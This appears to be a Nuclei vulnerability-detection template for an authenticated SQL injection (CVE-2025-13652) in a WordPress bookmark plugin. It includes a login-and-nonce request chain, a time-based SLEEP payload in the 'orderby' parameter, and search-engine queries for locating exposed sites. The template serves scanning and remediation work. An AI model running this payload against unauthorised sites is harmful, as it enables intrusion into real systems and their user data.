id: CVE-2025-13652

info:
  name: WordPress CBX Bookmark & Favorite Plugin <= 2.0.4 - SQL Injection
  author: neosmith1
  severity: critical
  description: |
    CBX Bookmark & Favorite WordPress plugin <= 2.0.4 contains a SQL injection caused by insufficient escaping of the 'orderby' parameter, letting authenticated attackers with Subscriber-level access extract sensitive database information
  impact: |
    Authenticated attackers can extract sensitive database information, potentially compromising user data confidentiality.
  remediation: |
   Update to a version later than 2.0.4 or the latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13652
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cbxwpbookmark/cbx-bookmark-favorite-204-authenticated-subscriber-sql-injection
    - https://plugins.trac.wordpress.org/changeset/3276203/cbxwpbookmark
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-13652
    cwe-id: CWE-89
    epss-score: 0.01077
    epss-percentile: 0.61729
  metadata:
    verified: true
    max-request: 3
    vendor: codeboxr
    product: cbx-bookmark-favorite
    fofa-query: body="cbxwpbookmark"
    shodan-query: http.html:"cbxwpbookmark"
  tags: cve,cve2025,wp-plugin,sqli,wordpress,cbxwpbookmark,authenticated,wp

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1

    extractors:
      - type: regex
        name: wp_cookie
        group: 1
        regex:
          - '(wordpress_logged_in[^;\r\n]+)'
        part: header
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{wp_cookie}}

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'var\s+cbxwpbookmark\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-z0-9]+)"'
        part: body
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "cbxwpbookmark")
          - nonce != ""
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{wp_cookie}}

        action=cbx_bookmark_loadmore&security={{nonce}}&limit=10&offset=0&userid=1&orderby=(SELECT+1+FROM+(SELECT+SLEEP(6))x)&order=DESC

    matchers:
      - type: dsl
        dsl:
          - duration >= 6
          - status_code == 200
        condition: and
# digest: 4b0a00483046022100b2d105cca49468490399851e42943276b34f300b6daeda82aab926a61b678ec4022100ad14ce8f859ef2da8cdab3340218e7b99fb8be685433c9e8a1e08ae5898954f4:922c64590222798bb761d5b6d8e72950